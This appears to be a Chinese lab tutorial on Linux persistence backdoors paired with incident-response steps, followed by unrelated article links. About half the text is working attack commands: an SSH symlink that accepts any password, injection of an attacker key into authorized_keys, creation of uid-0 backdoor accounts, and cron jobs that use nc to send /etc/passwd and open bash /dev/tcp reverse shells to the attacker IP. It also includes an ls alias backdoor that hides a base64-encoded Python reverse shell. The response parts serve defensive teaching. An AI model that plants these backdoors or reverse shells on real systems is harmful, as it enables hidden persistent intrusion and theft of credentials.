Linux权限维持后门及应急响应

本次应急响应实验用kali和centos7来充当攻击机和靶机

kali:192.168.10.130

centos7:192.168.10.155

前提:

用kali连接到centos7上面ssh root@192.168.10.155

一、SSH软链接

任意密码登录即可发现程度:||||||

ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=12345

使用kali进行登录,这次密码随便输入即可

ssh root@xx.xx.xx.xx-p 12345

应急处置流程

第一步:查看服务器开放的端口号

使用netstat -anpt查看端口,发现可疑的端口12345

切换到3642的pid目录下面,发现有软链接后门

第二步:确定软链接后门文件

查看所有的su文件,以及查找具体哪一个su是软链接后门

find -name su

ll /usr/local/su

第三步:删除软链接后门

rm -rf /usr/local/su

切断进程

kill -9 3642

kill -9 4147

二、ssh公私钥免密登录

使用密钥进行登录

发现程度:|||||

创建秘钥对,然后将公钥上传到拿下的服务器中,实现root账号免密登录

1. 生成ssh秘钥对

ssh-keygen -t rsa

保存路径输入 ./id_rsa ,保存到当前路径。接着再按两次回车

2.将id_rsa.pub公钥上传到服务中

将公钥写入到authorized_keys文件中

mkdir /root/.ssh && touch /root/.ssh/authorized_keys

cat id_rsa.pub >> /root/.ssh/authorized_keys && chmod 600 /root/.ssh/authorized_keys && chmod 700 /root/.ssh/

3.配置允许使用秘钥登录

vim /etc/ssh/sshd_config

RSAAuthentication yes

PubkeyAuthentication yes

4.ssh秘钥登录

ssh -i id_rsa root@192.168.10.155

应急处置流程

直接切换到/root/.ssh目录下面,把authorized_keys删掉即可(注意查看一下生成的时间,防止删掉客户之前生成的)

三、后门账号添加

使用命令添加账号

发现程度:||||||

添加root用户:

#添加账号test1,设置uid为0,密为123456

useradd -p `openssl passwd -1 -salt 'salt' 123456` test1 -o -u 0 -g root -G root -s /bin/bash -d /home/test1

or

echo "ruoji:x:0:0::/:/bin/sh" >> /etc/passwd #增加超级用户账号

如果系统不允许uid=0的用户远程登录,可以增加一个普通用户账号

echo "mx7krshell::-1:-1:-1:-1:-1:-1:500" >> /etc/shadow

passwd ruoji #修改ruoji的密码为ruoji

应急处置流程

1.查找特殊权限账号,默认root,如果出现其他账号需要警惕:

awk -F: '{if($3==0) print $1}' /etc/passwd

2.查找可以登录ssh的账号

s=$( sudo cat /etc/shadow | grep '^[^:]*:[^*!]' | awk -F: '{print $1}');for i

in $s;do cat /etc/passwd | grep -v "/bin/false|/nologin"| grep $i;done | sort

| uniq |awk -F: '{print $1}'

3.删除后门帐号

在root用户下,cat /etc/passwd | grep ruoji,这一步是确认ruoji存在

用ps查看ruoji正在使用的进程,把他的进程进行杀死:kill -9 5373

杀死进程之后,sudo userdel -rf ruoji,这一步强制删除用户

进入root根目录,删除和用户相关的文件夹 cd 进入根目录,找到ruoji,然后rm -rf ruoji ,删除文件夹

进入home目录, cd /home ,看是否有和ruoji同名的文件夹,有的话也用 rm -rf删掉

在root根目录下,进入 /var/spool/mail/ 目录下,找到user1相关目录删除

四、定时计划任务后门

生成命令网址:[~]#棱角 ::Edge.Forum*

crontab -e

*/1 * * * * nc 192.168.10.130 5555 < /etc/passwd #每一分钟把文件弹给kali

*/1 * * * * bash -i >& /dev/tcp/192.168.10.130/7777 0>&1 #每一分钟把shell反弹到kali上

kali监听指定7777端口可以获得shell

应急处置流程

1.crontab -l或者crontab -e查看定时任务,-e比-l查的更全一点

2.有些挖矿计划任务会写到Linux自带的计划任务里

用whereis cron查看自带的计划任务

五、别名后门

alias命令的功能:为命令设置别名

定义:alias ls="ls -al"

删除:unalias ls

每次输入ls命令的时候都能实现ls -al

alias ls='alerts(){ ls $* --color=auto;bash -i >& /dev/tcp/192.168.10.130/3333 0>&1;};alerts'

执行ls就会反弹shell,持久化+隐藏:重启依旧生效,但是执行ls之后会卡住,容易被发现

别名配置存在 ~/.bashrc 配置文件中

cat ~/.bashrc|grep alias

下面这种方法可以在执行ls时候不会卡住,可以说是最好用的一种方法

alias ls='alerts(){ ls $* --color=auto;python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'\''UTF-8'\'')}[sys.version_info[0]]('\''aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiMTkyLjE2OC4xMC4xMzAiLCA2NjY2KSkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDApCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAxKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMikKICAgICAgICBwID0gc3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsICItaSJdKQogICAgZXhjZXB0IEV4Y2VwdGlvbiBhcyBlOgogICAgICAgIGV4aXQoKQ=='\'')))";};alerts'

应急处置流程

netstat -anpt

ps -ef | grep 8094

然后删掉可疑进程

kill -9 8094

查看可疑别名:alias

删除别名:unalias ls

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/753776.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

CCleaner清理软件好不好 CCleaner怎么清理运行内存

CCleaner是一款使用简单&#xff0c;功能强大的电脑清理软件&#xff0c;该软件价格低廉&#xff0c;即使是学生也可以承担。那么这个软件究竟怎么样&#xff1f;可以怎么使用呢&#xff1f;下面就来带大家看一看CCleaner清理软件好不好&#xff0c;CCleaner怎么清理运行内存。…

Java-SpringAop 编程式事物实现

SpringAop 编程式事物实现 1. 数据库事物特性 原子性 多个数据库操作是不可分割的&#xff0c;只有所有的操作都执行成功&#xff0c;事物才能被提交&#xff1b;只要有一个操作执行失败&#xff0c;那么所有的操作都要回滚&#xff0c;数据库状态必须回复到操作之前的状态 …

redis-操作数据库

0 序言 一个Redis服务器可以包含多个数据库。在默认情况下&#xff0c;Redis服务器在启动时将会创建16个数据库&#xff1a;这些数据库都使用号码进行标识&#xff0c;其中第一个数据库为0号数据库&#xff0c;第二个数据库为1号数据库&#xff0c;而第三个数据库则为2号数据库…

每日五道java面试题之mybatis篇(一)

目录&#xff1a; 第一题. MyBatis是什么&#xff1f;第二题. ORM是什么?第三题. 为什么说Mybatis是半自动ORM映射工具&#xff1f;它与全自动的区别在哪里&#xff1f;第四题. 传统JDBC开发存在的问题第五题. JDBC编程有哪些不足之处&#xff0c;MyBatis是如何解决这些问题的…

计算机考研|北航北理北邮怎么选?

北航985&#xff0c;北理985&#xff0c;北邮211 虽然北邮事211&#xff0c;但是北邮的计算机实力一点也不弱&#xff0c;学科评级&#xff0c;计算机是A 北航计算机评级也是A&#xff0c;北理的计算机评级是A- 所以&#xff0c;这三所学校在实力上来说&#xff0c;真的大差…

LeetCode 面试经典150题 274.H指数

题目&#xff1a; 给你一个整数数组 citations &#xff0c;其中 citations[i] 表示研究者的第 i 篇论文被引用的次数。计算并返回该研究者的 h 指数。 根据维基百科上 h 指数的定义&#xff1a;h 代表“高引用次数” &#xff0c;一名科研人员的 h 指数 是指他&#xff08;她…

DM数据库安装(Linux)

Linux安装 操作系统CPU数据库CentOS7x86_64 架构dm8_20230418_x86_rh6_64 先把压缩包扔过去 新建 dmdba 用户 创建用户所在的组&#xff0c;命令如下&#xff1a; groupadd dinstall 创建用户&#xff0c;命令如下&#xff1a; useradd -g dinstall -m -d /home/dmdba -s /…

由浅到深认识C语言(13):共用体

该文章Github地址&#xff1a;https://github.com/AntonyCheng/c-notes 在此介绍一下作者开源的SpringBoot项目初始化模板&#xff08;Github仓库地址&#xff1a;https://github.com/AntonyCheng/spring-boot-init-template & CSDN文章地址&#xff1a;https://blog.csdn…

ConKI: Contrastive Knowledge Injection for Multimodal Sentiment Analysis

文章目录 ConKI&#xff1a;用于多模态情感分析的对比知识注入文章信息研究目的研究内容研究方法1.总体结构2.Encoding with Knowledge Injection2.1 Pan-knowledge representations2.2 Knowledge-specific representations 3.Hierarchical Contrastive Learning4.损失函数5.训…

信息检索(十四):Simple Entity-Centric Questions Challenge Dense Retrievers

Simple Entity-Centric Questions Challenge Dense Retrievers 摘要1. 引言2. 背景和相关工作3. EntityQuestions4. 剖析问题&#xff1a;实体 vs 问题模式4.1 密集检索表现出流行偏差4.2 观察问题有助于泛化 5. 迈向稳健的密集检索6. 结论 原文链接&#xff1a;https://aclant…

一文教会你SpringBoot是如何启动的

SpringBoot启动流程分析 流程图 源码剖析 运行Application.run()方法 我们在创建好一个 SpringBoot 程序之后&#xff0c;肯定会包含一个类&#xff1a;xxxApplication&#xff0c;我们也是通过这个类来启动我们的程序的&#xff08;梦开始的地方&#xff09;&#xff0c;而…

【趣味项目】命令行图片格式转换器

【趣味项目】一键生成LICENSE 项目地址&#xff1a;GitHub 项目介绍 一款命令行内可以批量修改图片格式的工具 使用方式 npm install xxhls/image-transformer -gimg-t --name.*.tiff --targetpng --path./images --recursiontrue技术选型 typeScript: 支持类型体操chal…

【网络安全】 MSF生成木马教程

本文章仅用于信息安全学习&#xff0c;请遵守相关法律法规&#xff0c;严禁用于非法途径。若读者因此作出任何危害网络安全的行为&#xff0c;后果自负&#xff0c;与作者无关。 环境准备&#xff1a; 名称系统位数IP攻击机Kali Linux6410.3.0.231客户端Windows 76410.3.0.234…

Python中的迭代器与生成器提高性能的秘密武器【第143篇—迭代器与生成器】

&#x1f47d;发现宝藏 前些天发现了一个巨牛的人工智能学习网站&#xff0c;通俗易懂&#xff0c;风趣幽默&#xff0c;忍不住分享一下给大家。【点击进入巨牛的人工智能学习网站】。 Python中的迭代器与生成器&#xff1a;提高性能的秘密武器 在Python编程中&#xff0c;迭代…

[TJOI2010] 阅读理解 **STL**Tire树**

[TJOI2010] 阅读理解 题目链接&#xff1a; https://www.luogu.com.cn/problem/P3879 题目描述 思路1 &#xff08;STL大法&#xff09; 对每个单词&#xff0c;用map来映射存储它所在的短文编号 用set的好处&#xff1a; -------1. 存储直接自动排序&#xff0c;操作简单&…

【开源】SpringBoot框架开发毕业生追踪系统

目录 一、摘要1.1 项目介绍1.2 项目录屏 二、功能模块2.1 登陆注册模块2.2 学生基本配置模块2.3 就业状况模块2.4 学历深造模块2.5 信息汇总分析模块2.6 校友论坛模块 三、系统设计3.1 用例设计3.2 实体设计 四、系统展示五、核心代码5.1 查询我的就业状况5.2 初始化就业状况5.…

单链表OJ题

单链表OJ题&#xff08;文字解读 图解&#xff09; 1. 移除链表元素2. 反转链表3. 链表的中间结点4. 返回倒数第 k 个节点5. 合并两个有序链表 1. 移除链表元素 给你一个链表的头节点 head 和一个整数 val &#xff0c;请你删除链表中所有满足 Node.val val 的节点&#xff…

第六节:使用SMB开发WebService

一、概述 webservice在日常开发中是常用的接口形式&#xff0c;SMB在设计之初就将webservice作为重要的代理协议。在组件库中提供了webservice input和webservice output两个组件&#xff0c;分别用于发布接口和调用接口。 二、发布webservice 在csdnProject工程中创建名为c…

【设计模式】-工厂模式

工厂模式是一种创建型设计模式&#xff0c;它提供了一种在不指定具体类的情况下创建对象的方法。工厂模式的核心思想是将对象的创建与使用分离&#xff0c;降低系统的耦合度&#xff0c;使系统更加灵活、可扩展。 工厂模式主要分为三种类型&#xff1a;简单工厂模式、工厂方法…

#Ubuntu(修改root信息)

&#xff08;一&#xff09;发行版&#xff1a;Ubuntu16.04.7 &#xff08;二&#xff09;记录&#xff1a; &#xff08;1&#xff09;命令行终端&#xff1a; a.右键&#xff0c;open terminal b.快捷键 ctrlaltt &#xff08;2&#xff09;进行root修改 sudo passwd &a…